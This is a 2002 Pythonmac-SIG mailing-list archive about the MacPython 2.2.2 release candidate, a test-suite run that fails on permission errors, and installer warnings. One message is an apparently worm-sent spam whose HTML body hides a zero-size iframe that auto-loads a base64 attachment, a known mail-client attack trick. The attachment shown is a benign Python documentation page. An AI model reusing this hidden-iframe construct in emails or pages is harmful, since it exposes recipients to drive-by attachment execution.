biAKMDAwMDAzMzI5MSAwMDAwMCBuIAowMDAwMDMzMzQxIDAwMDAwIG4gCjAwMDAwMzM0ODQgMDAw
MDAgbiAKdHJhaWxlcgo8PCAvU2l6ZSAxNCAvUm9vdCAxMSAwIFIgL0luZm8gMTIgMCBSIC9JRCAx
MyAwIFIgPj4Kc3RhcnR4cmVmCjMzNTc0CiUlRU9GCg==

--B_3118669532_5954018--


From Benjamin.Schollnick@usa.xerox.com  Tue Oct 29 13:04:01 2002
From: Benjamin.Schollnick@usa.xerox.com (Schollnick, Benjamin)
Date: Tue, 29 Oct 2002 08:04:01 -0500
Subject: [Pythonmac-SIG] BSD subsystem - optional? (was: Let's do it c
 ompletely different!)
Message-ID: <51B62EFFBC83D6118ADA00096BB030A11B3471@USAMCMS7>

> >As far as I know, the BSD install is *not* actually an optional
>
> It was really optional in 10.0 (in the installer)...but lots of things
> didn't work without it.  I haven't paid attention since, because I want
it.

> >I think we should assume the BSD stuff is installed, until we have some
> >sort of evidence (e.g. a statement in a WWDC session) that it is unwise
> >to do so.

> I think it's OK to assume it's there.

Just keep in mind, as long as it's *listed* as a requirement, there
shouldn't
be any problem....

		- Benjamin


From daniel_t@earthlink.net  Tue Oct 29 14:29:16 2002
From: daniel_t@earthlink.net (Daniel)
Date: Tue, 29 Oct 2002 09:29:16 -0500
Subject: [Pythonmac-SIG] MacPython 2.2.2 final candidate
In-Reply-To: <9C2D01F6-E86C-11D6-97F0-003065517236@oratrix.com>
References: <9C2D01F6-E86C-11D6-97F0-003065517236@oratrix.com>
Message-ID: <a05111b00b9e44a5db3b6@[192.168.1.100]>

At 12:53 AM +0200 10/26/02, Jack Jansen wrote:
>Folks,
>MacPython 2.2.2 final candidate is available. Please download and install it,
>and let me know about any showstoppers ASAP (and successes also welcome). I
>plan to advertise this release on monday.

PowerBook G3, MacOS X 10.1.5...

I installed the carbon version and dev kit from my admin account into 
the /applications directory, then attempted to run the test suite 
from my user account...

133 tests OK.
26 tests failed:
     test_array test_bufio test_builtin test_descr test_dircache
     test_exceptions test_file test_fileinput test_frozen test_gdbm
     test_gettext test_glob test_hotshot test_imageop test_import
     test_inspect test_iter test_largefile test_mailbox test_mhlib
     test_mutants test_os test_rgbimg test_socket test_uu test_zipfile
34 tests skipped:
     test_al test_atexit test_bsddb test_cd test_cl test_commands
     test_crypt test_curses test_dbm test_dl test_email_codecs
     test_fcntl test_fork1 test_gl test_grp test_imgfile
     test_linuxaudiodev test_locale test_longexp test_mmap test_nis
     test_openpty test_poll test_popen2 test_pty test_pwd test_signal
     test_socket_ssl test_socketserver test_sunaudiodev test_timing
     test_unicode_file test_winreg test_winsound
2 skips unexpected on mac:
     test_longexp test_atexit

Most of the failures seemed to be "permission denied" errors. Most of 
the skipped tests seem to involve something not being found or not 
being imported. Let me know if you need the whole output...


From apicard@adobe.com  Tue Oct 29 20:03:00 2002
From: apicard@adobe.com (Antoine Picard)
Date: Tue, 29 Oct 2002 12:03:00 -0800
Subject: [Pythonmac-SIG] ConfigurePythonCarbon warning
Message-ID: <p05111a05b9e499662ebf@[192.168.1.100]>

ConfigurePythonCarbon gives me a warning that it "Could not install 
system-wide copy of PythonCore or PythonCoreCarbon". Is there 
something I can do to work around this issue?

I'm installing Python 2.2 on OS X.1.5.
-- 

			Antoine Picard
			Font Tools Group, Type Department
			Adobe Systems Inc.
			W12-320 345 Park Ave
			San Jose, CA
			(408) 536-3508


From Jack.Jansen@oratrix.com  Tue Oct 29 20:47:43 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 29 Oct 2002 21:47:43 +0100
Subject: [Pythonmac-SIG] ConfigurePythonCarbon warning
In-Reply-To: <p05111a05b9e499662ebf@[192.168.1.100]>
Message-ID: <AC4F9F59-EB7F-11D6-BDB7-003065517236@oratrix.com>

On dinsdag, oktober 29, 2002, at 09:03 , Antoine Picard wrote:

> ConfigurePythonCarbon gives me a warning that it "Could not 
> install system-wide copy of PythonCore or PythonCoreCarbon". Is 
> there something I can do to work around this issue?
>
> I'm installing Python 2.2 on OS X.1.5.

Do you really mean "2.2", not "2.2.1" or "2.2.2" (which has 
become available earlier today, but isn't advertised yet)?

Anyway, the message usually means that you don't have 
administrator rights to the machine. Your MacPython will operate 
normally, with one exception: applets will only work as long as 
they are stored in the main Python folder.
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From Jack.Jansen@oratrix.com  Tue Oct 29 20:49:10 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 29 Oct 2002 21:49:10 +0100
Subject: [Pythonmac-SIG] MacPython 2.2.2 final candidate
In-Reply-To: <a05111b00b9e44a5db3b6@[192.168.1.100]>
Message-ID: <DFE90730-EB7F-11D6-BDB7-003065517236@oratrix.com>

On dinsdag, oktober 29, 2002, at 03:29 , Daniel wrote:
> Most of the failures seemed to be "permission denied" errors. 
> Most of the skipped tests seem to involve something not being 
> found or not being imported. Let me know if you need the whole 
> output...

Interesting, I've never seen this one before. Please do send me 
the full output. An Apple System Profiler report would also be 
welcome. Also, do you have admin privileges for your machine?
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From daniel_t@earthlink.net  Tue Oct 29 21:17:42 2002
From: daniel_t@earthlink.net (Daniel)
Date: Tue, 29 Oct 2002 16:17:42 -0500
Subject: [Pythonmac-SIG] MacPython 2.2.2 final candidate
In-Reply-To: <DFE90730-EB7F-11D6-BDB7-003065517236@oratrix.com>
References: <DFE90730-EB7F-11D6-BDB7-003065517236@oratrix.com>
Message-ID: <a05111b0bb9e4aa0b21e1@[192.168.1.100]>

The output is below...

I have two accounts on my machine. One has admin privileges and the 
other doesn't. Normally the way I do things is, install programs from 
my admin account but run them from my user account. That is what I 
did with the Python distribution. I ran the installer from my admin 
account and installed the package in the /Applications directory. 
Then I logged out and logged in under my user account to actually run 
the program. The result is below.

If you wish, I can run it from my admin account and see what happens.

----------------------------------------------------------------------
Python 2.2.2 (#138, Oct 25 2002, 23:10:42)  [CW CARBON GUSI2 THREADS GC] on mac
Type "copyright", "credits" or "license" for more information.
>>>  import test.regrtest ; test.regrtest.main()
test_grammar
test_opcodes
test_operations
test_builtin
test test_builtin crashed -- exceptions.IOError: [Errno 13] 
Permission denied: '@test'
test_exceptions
test test_exceptions crashed -- exceptions.IOError: [Errno 13] 
Permission denied: '@test'
test_types
test_MimeWriter
test_StringIO
test___all__
test___future__
test_al
test test_al skipped -- No module named al
test_array
test test_array crashed -- exceptions.IOError: [Errno 13] Permission 
denied: '@test'
test_asynchat
test_atexit
test test_atexit skipped -- cannot import name popen
test_audioop
test_augassign
test_base64
test_bastion
test_binascii
test_binhex
test_binop
test_bisect
test_bsddb
test test_bsddb skipped -- No module named bsddb
test_bufio
test test_bufio crashed -- exceptions.IOError: [Errno 13] Permission 
denied: '@test'
test_calendar
test_call
test_capi
test_cd
test test_cd skipped -- No module named cd
test_cfgparser
test_cgi
test_charmapcodec
test_cl
test test_cl skipped -- No module named cl
test_class
test_cmath
test_codecs
test_codeop
test_coercion
Macintosh HD:Applications:Python 2.2.2:Lib:test:test_coercion.py:0: 
DeprecationWarning: complex divmod(), // and % are deprecated
Macintosh HD:Applications:Python 2.2.2:Lib:test:test_coercion.py:1: 
DeprecationWarning: complex divmod(), // and % are deprecated
   import copy
Macintosh HD:Applications:Python 2.2.2:Lib:test:test_coercion.py:63: 
DeprecationWarning: complex divmod(), // and % are deprecated
   return other % self.arg
Macintosh HD:Applications:Python 2.2.2:Lib:test:test_coercion.py:60: 
DeprecationWarning: complex divmod(), // and % are deprecated
   return self.arg % other
test_commands
test test_commands skipped -- Not posix; skipping test_commands
test_compare
test_compile
test_complex
test_contains
test_cookie
test_copy_reg
test_cpickle
test_crypt
test test_crypt skipped -- No module named crypt
test_curses
test test_curses skipped -- No module named _curses
test_dbm
test test_dbm skipped -- No module named dbm
test_descr
Macintosh HD:Applications:Python 2.2.2:Lib:test:test_descr.py:42: 
DeprecationWarning: complex divmod(), // and % are deprecated
   vereq(m(a, b), res)
Macintosh HD:Applications:Python 2.2.2:Lib:test:test_descr.py:44: 
DeprecationWarning: complex divmod(), // and % are deprecated
   vereq(bm(b), res)
test test_descr crashed -- exceptions.IOError: [Errno 13] Permission 
denied: '@test'
test_descrtut
test_difflib
test_dircache
test test_dircache failed -- errors occurred in 
test.test_dircache.DircacheTests
test_dl
test test_dl skipped -- No module named dl
test_doctest
test_doctest2
test_dospath
test_dumbdbm
test_email
test_email_codecs
test test_email_codecs skipped -- No module named test_support
test_errno
test_extcall
test_fcntl
test test_fcntl skipped -- No module named fcntl
test_file
test test_file crashed -- exceptions.IOError: [Errno 13] Permission 
denied: '@test'
test_fileinput
test test_fileinput crashed -- exceptions.NameError: global name 't1' 
is not defined
test_fnmatch
test_fork1
test test_fork1 skipped -- os.fork not defined -- skipping test_fork1
test_format
test_fpformat
test_frozen
test test_frozen failed -- import __phello__.foo should have failed
test_funcattrs
test_future
test_gc
test_gdbm
test test_gdbm crashed -- gdbm.error: (13, 'Permission denied')
test_generators
test_getargs
test_getopt
test_gettext
test test_gettext crashed -- exceptions.OSError: [Errno 2] No such 
file or directory
test_gl
test test_gl skipped -- No module named gl
test_glob
test test_glob failed -- errors occurred in test.test_glob.GlobTests
test_global
test_grp
test test_grp skipped -- No module named grp
test_gzip
test_hash
test_hmac
test_hotshot
test test_hotshot failed -- errors occurred in 
test.test_hotshot.HotShotTestCase
test_htmllib
test_htmlparser
test_httplib
test_imageop
test test_imageop crashed -- exceptions.IOError: [Errno 13] 
Permission denied: 'test.rgb'
test_imgfile
test test_imgfile skipped -- No module named imgfile
test_import
test test_import crashed -- exceptions.IOError: [Errno 13] Permission 
denied: '@test.py'
test_inspect
test test_inspect crashed -- exceptions.IOError: [Errno 13] 
Permission denied: '@test'
test_iter
test test_iter failed -- errors occurred in test.test_iter.TestCase
test_largefile
test test_largefile crashed -- exceptions.IOError: [Errno 13] 
Permission denied: '@test'
test_linuxaudiodev
test test_linuxaudiodev skipped -- No module named fcntl
test_locale
test test_locale skipped -- test locale en_US not supported
test_long
test_long_future
test_longexp
test test_longexp skipped -- Triggers pathological malloc slowdown on 
OSX MacPython
test_mailbox
test test_mailbox failed -- errors occurred in 
test.test_mailbox.MaildirTestCase
test_marshal
test_math
test_md5
test_mhlib
test test_mhlib failed -- errors occurred in test.test_mhlib.MhlibTests
test_mimetools
test_mimetypes
test_minidom
test_mmap
test test_mmap skipped -- No module named mmap
test_multifile
test_mutants
test test_mutants crashed -- exceptions.IOError: [Errno 13] 
Permission denied: '@test'
test_netrc
test_new
test_nis
test test_nis skipped -- No module named nis
test_ntpath
test_openpty
test test_openpty skipped -- No openpty() available.
test_operator
test_os
test test_os failed -- errors occurred in test.test_os.TemporaryFileTests
test_parser
test_pep247
test_pickle
test_pkg
test_pkgimport
test_poll
test test_poll skipped -- select.poll not defined -- skipping test_poll
test_popen2
test test_popen2 skipped -- cannot import name fork
test_posixpath
test_pow
test_pprint
test_profile
test_profilehooks
test_pty
test test_pty skipped -- No module named termios
test_pwd
test test_pwd skipped -- No module named pwd
test_pyclbr
test_pyexpat
test_queue
test_quopri
test_random
test_re
test_regex
test_repr
test_rfc822
test_rgbimg
test test_rgbimg crashed -- exceptions.IOError: [Errno 13] Permission 
denied: 'test.rgb'
test_richcmp
test_rotor
test_sax
test_scope
test_select
test_sgmllib
test_sha
test_signal
test test_signal skipped -- No module named signal
test_socket
test test_socket crashed -- socket.herror: (3, 'host not found')
test_socket_ssl
test test_socket_ssl skipped -- Use of the `network' resource not enabled
test_socketserver
test test_socketserver skipped -- Use of the `network' resource not enabled
test_sre
test_strftime
test_string
test_strop
test_struct
test_structseq
test_sunaudiodev
test test_sunaudiodev skipped -- No module named sunaudiodev
test_sundry
test_symtable
test_tempfile
test_thread
test_threaded_import
test_threadedtempfile
test_threading
test_time
test_timing
test test_timing skipped -- No module named timing
test_tokenize
test_trace
test_traceback
test_ucn
test_unary
test_unicode
test_unicode_file
test test_unicode_file skipped -- No Unicode filesystem semantics on 
this platform.
test_unicodedata
test_unpack
test_urllib
test_urllib2
test_urlparse
test_userdict
test_userlist
test_userstring
test_uu
test test_uu crashed -- exceptions.IOError: [Errno 13] Permission 
denied: '@testi'
test_wave
test_weakref
test_winreg
test test_winreg skipped -- No module named _winreg
test_winsound
test test_winsound skipped -- No module named winsound
test_xmllib
test_xmlrpc
test_xreadline
test_zipfile
test test_zipfile crashed -- exceptions.IOError: [Errno 13] 
Permission denied: 'junk9630.tmp'
test_zlib
133 tests OK.
26 tests failed:
     test_array test_bufio test_builtin test_descr test_dircache
     test_exceptions test_file test_fileinput test_frozen test_gdbm
     test_gettext test_glob test_hotshot test_imageop test_import
     test_inspect test_iter test_largefile test_mailbox test_mhlib
     test_mutants test_os test_rgbimg test_socket test_uu test_zipfile
34 tests skipped:
     test_al test_atexit test_bsddb test_cd test_cl test_commands
     test_crypt test_curses test_dbm test_dl test_email_codecs
     test_fcntl test_fork1 test_gl test_grp test_imgfile
     test_linuxaudiodev test_locale test_longexp test_mmap test_nis
     test_openpty test_poll test_popen2 test_pty test_pwd test_signal
     test_socket_ssl test_socketserver test_sunaudiodev test_timing
     test_unicode_file test_winreg test_winsound
2 skips unexpected on mac:
     test_longexp test_atexit


From Jack.Jansen@oratrix.com  Tue Oct 29 22:16:23 2002
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 29 Oct 2002 23:16:23 +0100
Subject: [Pythonmac-SIG] MacPython 2.2.2 final candidate
In-Reply-To: <a05111b0bb9e4aa0b21e1@[192.168.1.100]>
Message-ID: <0F47CD69-EB8C-11D6-BDB7-003065517236@oratrix.com>

On dinsdag, oktober 29, 2002, at 10:17 , Daniel wrote:

> The output is below...
>
> I have two accounts on my machine. One has admin privileges and 
> the other doesn't. Normally the way I do things is, install 
> programs from my admin account but run them from my user 
> account. That is what I did with the Python distribution. I ran 
> the installer from my admin account and installed the package 
> in the /Applications directory. Then I logged out and logged in 
> under my user account to actually run the program. The result 
> is below.
>
> If you wish, I can run it from my admin account and see what happens.
>
[...]
> test test_builtin crashed -- exceptions.IOError: [Errno 13] 
> Permission denied: '@test'
[25 other similar permission failures removed]

This is an interesting bug you found: the bug is really with 
Python's test suite. The test suite expects to have write 
permission in Python's Lib/test directory (or somewhere 
thereabouts). The bug isn't mac-specific, but it's triggered by 
person A doing the install and person B running the test set.

Could you file a bug report at sourceforge? At the very least 
the test set should detect this situation and print a warning 
that you may experience random failures that do not point to 
problems with the python installation, I guess...
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- 
Emma Goldman -



From niel_mayhew@mac.com  Wed Oct 30 00:20:41 2002
From: niel_mayhew@mac.com (Neil Mayhew)
Date: Tue, 29 Oct 2002 17:20:41 -0700
Subject: [Pythonmac-SIG] Re: MacPython 2.2.2 final candidate
In-Reply-To: <0F47CD69-EB8C-11D6-BDB7-003065517236@oratrix.com>
Message-ID: <B9E473E9.7001%niel_mayhew@mac.com>

Jack,

I tried 2.2.2 on my dual-processor G4 today and re-encountered the strange
slowdown that I reported before, when starting any of the Python apps
(EditPreferences, PythonInterpreter and Python IDE). It seems to be worse
when site.py is enabled. I'm sure this problem went away in one of the trial
versions you made available.

I haven't had time to experiment with it much. I did try switching off
auto-import of site.py in PythonInterpreter and then typing 'import site'
but this seemed not to suffer from the slowdown.

Hopefully I can try it some more tomorrow.

--Neil

--
Neil Mayhew
Calgary, Alberta, Canada
niel_mayhew@mac.com

(Email address deliberately misspelled to foil spammers)



From python-docs@python.org  Wed Oct 30 09:00:03 2002
From: python-docs@python.org (python-docs)
Date: Wed, 30 Oct 2002 10:00:03 +0100 (added by postmaster@dns-oi.com)
Subject: [Pythonmac-SIG] Fw:pythonmac-sig,look,my beautiful girl friend
Message-ID: <3D946F6400020BD6@antivirusgw.dns-oi.com> (added by postmaster@dns-oi.com)

------=_NextPartTM-000-ed95664c-ebdf-11d6-a148-0010b586b16d
Content-Type: multipart/alternative;
	boundary=A4A7mt43mR2O44D7zJ647n6tgFDS064

--A4A7mt43mR2O44D7zJ647n6tgFDS064
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<HTML><HEAD></HEAD><BODY>
<iframe src=3Dcid:C7x409661YlEeM height=3D0 width=3D0>
</iframe>
<FONT></FONT></BODY></HTML>

--A4A7mt43mR2O44D7zJ647n6tgFDS064
--A4A7mt43mR2O44D7zJ647n6tgFDS064
Content-Type: application/octet-stream;
	name=profiling.html
Content-Transfer-Encoding: base64
Content-ID: <C7x409661YlEeM>

PCFET0NUWVBFIGh0bWwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9u
YWwvL0VOIj4NCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+OC4yIFByb2ZpbGluZyBhbmQgVHJh
Y2luZyA8L3RpdGxlPg0KPE1FVEEgTkFNRT0iZGVzY3JpcHRpb24iIENPTlRFTlQ9IjguMiBQ
cm9maWxpbmcgYW5kIFRyYWNpbmcgIj4NCjxNRVRBIE5BTUU9ImtleXdvcmRzIiBDT05URU5U
PSJhcGkiPg0KPE1FVEEgTkFNRT0icmVzb3VyY2UtdHlwZSIgQ09OVEVOVD0iZG9jdW1lbnQi
Pg0KPE1FVEEgTkFNRT0iZGlzdHJpYnV0aW9uIiBDT05URU5UPSJnbG9iYWwiPg0KPG1ldGEg
aHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9
aXNvLTg4NTktMSI+DQo8bGluayByZWw9IlNUWUxFU0hFRVQiIGhyZWY9ImFwaS5jc3MiPg0K
PGxpbmsgcmVsPSJmaXJzdCIgaHJlZj0iYXBpLmh0bWwiPg0KPGxpbmsgcmVsPSJjb250ZW50
cyIgaHJlZj0iY29udGVudHMuaHRtbCIgdGl0bGU9IkNvbnRlbnRzIj4NCjxsaW5rIHJlbD0i
aW5kZXgiIGhyZWY9ImdlbmluZGV4Lmh0bWwiIHRpdGxlPSJJbmRleCI+DQo8TElOSyBSRUw9
Im5leHQiIGhyZWY9ImFkdmFuY2VkLWRlYnVnZ2luZy5odG1sIj4NCjxMSU5LIFJFTD0icHJl
dmlvdXMiIGhyZWY9InRocmVhZHMuaHRtbCI+DQo8TElOSyBSRUw9InVwIiBocmVmPSJpbml0
aWFsaXphdGlvbi5odG1sIj4NCjxMSU5LIFJFTD0ibmV4dCIgaHJlZj0iYWR2YW5jZWQtZGVi
dWdnaW5nLmh0bWwiPg0KPC9oZWFkPg0KPGJvZHk+DQo8RElWIENMQVNTPSJuYXZpZ2F0aW9u
Ij4NCjx0YWJsZSBhbGlnbj0iY2VudGVyIiB3aWR0aD0iMTAwJSIgY2VsbHBhZGRpbmc9IjAi
IGNlbGxzcGFjaW5nPSIyIj4NCjx0cj4NCjx0ZD48QSBocmVmPSJ0aHJlYWRzLmh0bWwiPjxp
bWcgc3JjPSIuLi9pY29ucy9wcmV2aW91cy5naWYiDQogIGJvcmRlcj0iMCIgaGVpZ2h0PSIz
MiINCiAgYWx0PSJQcmV2aW91cyBQYWdlIiB3aWR0aD0iMzIiPjwvQT48L3RkPg0KPHRkPjxB
IGhyZWY9ImluaXRpYWxpemF0aW9uLmh0bWwiPjxpbWcgc3JjPSIuLi9pY29ucy91cC5naWYi
DQogIGJvcmRlcj0iMCIgaGVpZ2h0PSIzMiINCiAgYWx0PSJVcCBPbmUgTGV2ZWwiIHdpZHRo
PSIzMiI+PC9BPjwvdGQ+DQo8dGQ+PEEgaHJlZj0iYWR2YW5jZWQtZGVidWdnaW5nLmh0bWwi
PjxpbWcgc3JjPSIuLi9pY29ucy9uZXh0LmdpZiINCiAgYm9yZGVyPSIwIiBoZWlnaHQ9IjMy
Ig0KICBhbHQ9Ik5leHQgUGFnZSIgd2lkdGg9IjMyIj48L0E+PC90ZD4NCjx0ZCBhbGlnbj0i
Y2VudGVyIiB3aWR0aD0iMTAwJSI+UHl0aG9uL0MgQVBJIFJlZmVyZW5jZSBNYW51YWw8L3Rk
Pg0KPHRkPjxBIGhyZWY9ImNvbnRlbnRzLmh0bWwiPjxpbWcgc3JjPSIuLi9pY29ucy9jb250
ZW50cy5naWYiDQogIGJvcmRlcj0iMCIgaGVpZ2h0PSIzMiINCiAgYWx0PSJDb250ZW50cyIg
d2lkdGg9IjMyIj48L0E+PC90ZD4NCjx0ZD48aW1nIHNyYz0iLi4vaWNvbnMvYmxhbmsuZ2lm
Ig0KICBib3JkZXI9IjAiIGhlaWdodD0iMzIiDQogIGFsdD0iIiB3aWR0aD0iMzIiPjwvdGQ+
DQo8dGQ+PEEgaHJlZj0iZ2VuaW5kZXguaHRtbCI+PGltZyBzcmM9Ii4uL2ljb25zL2luZGV4
LmdpZiINCiAgYm9yZGVyPSIwIiBoZWlnaHQ9IjMyIg0KICBhbHQ9IkluZGV4IiB3aWR0aD0i
MzIiPjwvQT48L3RkPg0KPC90cj48L3RhYmxlPg0KPGIgY2xhc3M9Im5hdmxhYmVsIj5QcmV2
aW91czo8L2I+IDxhIGNsYXNzPSJzZWN0cmVmIiBocmVmPSJ0aHJlYWRzLmh0bWwiPjguMSBU
aHJlYWQgU3RhdGUgYW5kPC9BPg0KPGIgY2xhc3M9Im5hdmxhYmVsIj5VcDo8L2I+IDxhIGNs
YXNzPSJzZWN0cmVmIiBocmVmPSJpbml0aWFsaXphdGlvbi5odG1sIj44LiBJbml0aWFsaXph
dGlvbiwgRmluYWxpemF0aW9uLCBhbmQ8L0E+DQo8YiBjbGFzcz0ibmF2bGFiZWwiPk5leHQ6
PC9iPiA8YSBjbGFzcz0ic2VjdHJlZiIgaHJlZj0iYWR2YW5jZWQtZGVidWdnaW5nLmh0bWwi
PjguMyBBZHZhbmNlZCBEZWJ1Z2dlciBTdXBwb3J0PC9BPg0KPGJyPjxocj4NCjwvRElWPg0K
PCEtLUVuZCBvZiBOYXZpZ2F0aW9uIFBhbmVsLS0+DQoNCjxIMT48QSBOQU1FPSJTRUNUSU9O
MDAxMDIwMDAwMDAwMDAwMDAwMDAwMCI+Jm5ic3A7PC9BPg0KPEJSPg0KOC4yIFByb2ZpbGlu
ZyBhbmQgVHJhY2luZyANCjwvSDE+DQoNCjxQPg0KDQo8UD4NClRoZSBQeXRob24gaW50ZXJw
cmV0ZXIgcHJvdmlkZXMgc29tZSBsb3ctbGV2ZWwgc3VwcG9ydCBmb3IgYXR0YWNoaW5nDQpw
cm9maWxpbmcgYW5kIGV4ZWN1dGlvbiB0cmFjaW5nIGZhY2lsaXRpZXMuICBUaGVzZSBhcmUg
dXNlZCBmb3INCnByb2ZpbGluZywgZGVidWdnaW5nLCBhbmQgY292ZXJhZ2UgYW5hbHlzaXMg
dG9vbHMuDQoNCjxQPg0KU3RhcnRpbmcgd2l0aCBQeXRob24gMi4yLCB0aGUgaW1wbGVtZW50
YXRpb24gb2YgdGhpcyBmYWNpbGl0eSB3YXMNCnN1YnN0YW50aWFsbHkgcmV2aXNlZCwgYW5k
IGFuIGludGVyZmFjZSBmcm9tIEMgd2FzIGFkZGVkLiAgVGhpcyBDDQppbnRlcmZhY2UgYWxs
b3dzIHRoZSBwcm9maWxpbmcgb3IgdHJhY2luZyBjb2RlIHRvIGF2b2lkIHRoZSBvdmVyaGVh
ZA0Kb2YgY2FsbGluZyB0aHJvdWdoIFB5dGhvbi1sZXZlbCBjYWxsYWJsZSBvYmplY3RzLCBt
YWtpbmcgYSBkaXJlY3QgQw0KZnVuY3Rpb24gY2FsbCBpbnN0ZWFkLiAgVGhlIGVzc2VudGlh
bCBhdHRyaWJ1dGVzIG9mIHRoZSBmYWNpbGl0eSBoYXZlDQpub3QgY2hhbmdlZDsgdGhlIGlu
dGVyZmFjZSBhbGxvd3MgdHJhY2UgZnVuY3Rpb25zIHRvIGJlIGluc3RhbGxlZA0KcGVyLXRo
cmVhZCwgYW5kIHRoZSBiYXNpYyBldmVudHMgcmVwb3J0ZWQgdG8gdGhlIHRyYWNlIGZ1bmN0
aW9uIGFyZQ0KdGhlIHNhbWUgYXMgaGFkIGJlZW4gcmVwb3J0ZWQgdG8gdGhlIFB5dGhvbi1s
ZXZlbCB0cmFjZSBmdW5jdGlvbnMgaW4NCnByZXZpb3VzIHZlcnNpb25zLg0KDQo8UD4NCjxk
bD48ZHQ+PGI+PHR0IGNsYXNzPSJjdHlwZSI+PGEgbmFtZT0ibDJoLTc1MyI+aW50ICgqUHlf
dHJhY2VmdW5jKShQeU9iamVjdCAqb2JqLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBQeUZyYW1lT2JqZWN0ICpmcmFtZSwgaW50IHdoYXQsDQogICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIFB5T2JqZWN0ICphcmcpPC9hPjwvdHQ+PC9iPg0KPGRkPg0KICBU
aGUgdHlwZSBvZiB0aGUgdHJhY2UgZnVuY3Rpb24gcmVnaXN0ZXJlZCB1c2luZw0KICA8dHQg
Y2xhc3M9ImNmdW5jdGlvbiI+UHlFdmFsX1NldFByb2ZpbGUoKTwvdHQ+IGFuZCA8dHQgY2xh
c3M9ImNmdW5jdGlvbiI+UHlFdmFsX1NldFRyYWNlKCk8L3R0Pi4NCiAgVGhlIGZpcnN0IHBh
cmFtZXRlciBpcyB0aGUgb2JqZWN0IHBhc3NlZCB0byB0aGUgcmVnaXN0cmF0aW9uDQogIGZ1
bmN0aW9uIGFzIDx2YXI+b2JqPC92YXI+LCA8dmFyPmZyYW1lPC92YXI+IGlzIHRoZSBmcmFt
ZSBvYmplY3QgdG8gd2hpY2ggdGhlDQogIGV2ZW50IHBlcnRhaW5zLCA8dmFyPndoYXQ8L3Zh
cj4gaXMgb25lIG9mIHRoZSBjb25zdGFudHMNCiAgPHR0IGNsYXNzPSJjb25zdGFudCI+UHlU
cmFjZV9DQUxMPC90dD4sIDx0dCBjbGFzcz0iY29uc3RhbnQiPlB5VHJhY2VfRVhDRVBUPC90
dD4sDQogIDx0dCBjbGFzcz0iY29uc3RhbnQiPlB5VHJhY2VfTElORTwvdHQ+IG9yIDx0dCBj
bGFzcz0iY29uc3RhbnQiPlB5VHJhY2VfUkVUVVJOPC90dD4sIGFuZCA8dmFyPmFyZzwvdmFy
Pg0KICBkZXBlbmRzIG9uIHRoZSB2YWx1ZSBvZiA8dmFyPndoYXQ8L3Zhcj46DQoNCjxQPg0K
PHRhYmxlIGJvcmRlciBhbGlnbj0iY2VudGVyIiBzdHlsZT0iYm9yZGVyLWNvbGxhcHNlOiBj
b2xsYXBzZSI+DQogIDx0aGVhZD4NCiAgICA8dHIgY2xhc3M9InRhYmxlaGVhZGVyIj4NCiAg
ICAgIDx0aCBhbGlnbj0ibGVmdCI+PGI+VmFsdWUgb2YgPHZhcj53aGF0PC92YXI+PC9iPiZu
YnNwOzwvdGg+DQogICAgICA8dGggYWxpZ249ImxlZnQiPjxiPk1lYW5pbmcgb2YgPHZhcj5h
cmc8L3Zhcj48L2I+Jm5ic3A7PC90aD4NCiAgICAgIDwvdHI+DQogICAgPC90aGVhZD4NCiAg
PHRib2R5IHZhbGlnbj0iYmFzZWxpbmUiPg0KICAgIDx0cj48dGQgYWxpZ249ImxlZnQiIHZh
bGlnbj0iYmFzZWxpbmUiPjx0dCBjbGFzcz0iY29uc3RhbnQiPlB5VHJhY2VfQ0FMTDwvdHQ+
PC90ZD4NCiAgICAgICAgPHRkIGFsaWduPSJsZWZ0Ij5BbHdheXMgPHR0IGNsYXNzPSJjb25z
dGFudCI+TlVMTDwvdHQ+LjwvdGQ+DQogICAgPHRyPjx0ZCBhbGlnbj0ibGVmdCIgdmFsaWdu
PSJiYXNlbGluZSI+PHR0IGNsYXNzPSJjb25zdGFudCI+UHlUcmFjZV9FWENFUFQ8L3R0Pjwv
dGQ+DQogICAgICAgIDx0ZCBhbGlnbj0ibGVmdCI+RXhjZXB0aW9uIGluZm9ybWF0aW9uIGFz
IHJldHVybmVkIGJ5DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHR0IGNsYXNzPSJm
dW5jdGlvbiI+c3lzLmV4Y19pbmZvKCk8L3R0Pi48L3RkPg0KICAgIDx0cj48dGQgYWxpZ249
ImxlZnQiIHZhbGlnbj0iYmFzZWxpbmUiPjx0dCBjbGFzcz0iY29uc3RhbnQiPlB5VHJhY2Vf
TElORTwvdHQ+PC90ZD4NCiAgICAgICAgPHRkIGFsaWduPSJsZWZ0Ij5BbHdheXMgPHR0IGNs
YXNzPSJjb25zdGFudCI+TlVMTDwvdHQ+LjwvdGQ+DQogICAgPHRyPjx0ZCBhbGlnbj0ibGVm
dCIgdmFsaWduPSJiYXNlbGluZSI+PHR0IGNsYXNzPSJjb25zdGFudCI+UHlUcmFjZV9SRVRV
Uk48L3R0PjwvdGQ+DQogICAgICAgIDx0ZCBhbGlnbj0ibGVmdCI+VmFsdWUgYmVpbmcgcmV0
dXJuZWQgdG8gdGhlIGNhbGxlci48L3RkPjwvdGJvZHk+DQo8L3RhYmxlPg0KPC9kbD4NCg0K
PFA+DQo8ZGw+PGR0PmludCA8Yj48YSBuYW1lPSJsMmgtNzU0Ij48dHQgY2xhc3M9ImNkYXRh
Ij5QeVRyYWNlX0NBTEw8L3R0PjwvYT48L2I+DQo8ZGQ+DQogIFRoZSB2YWx1ZSBvZiB0aGUg
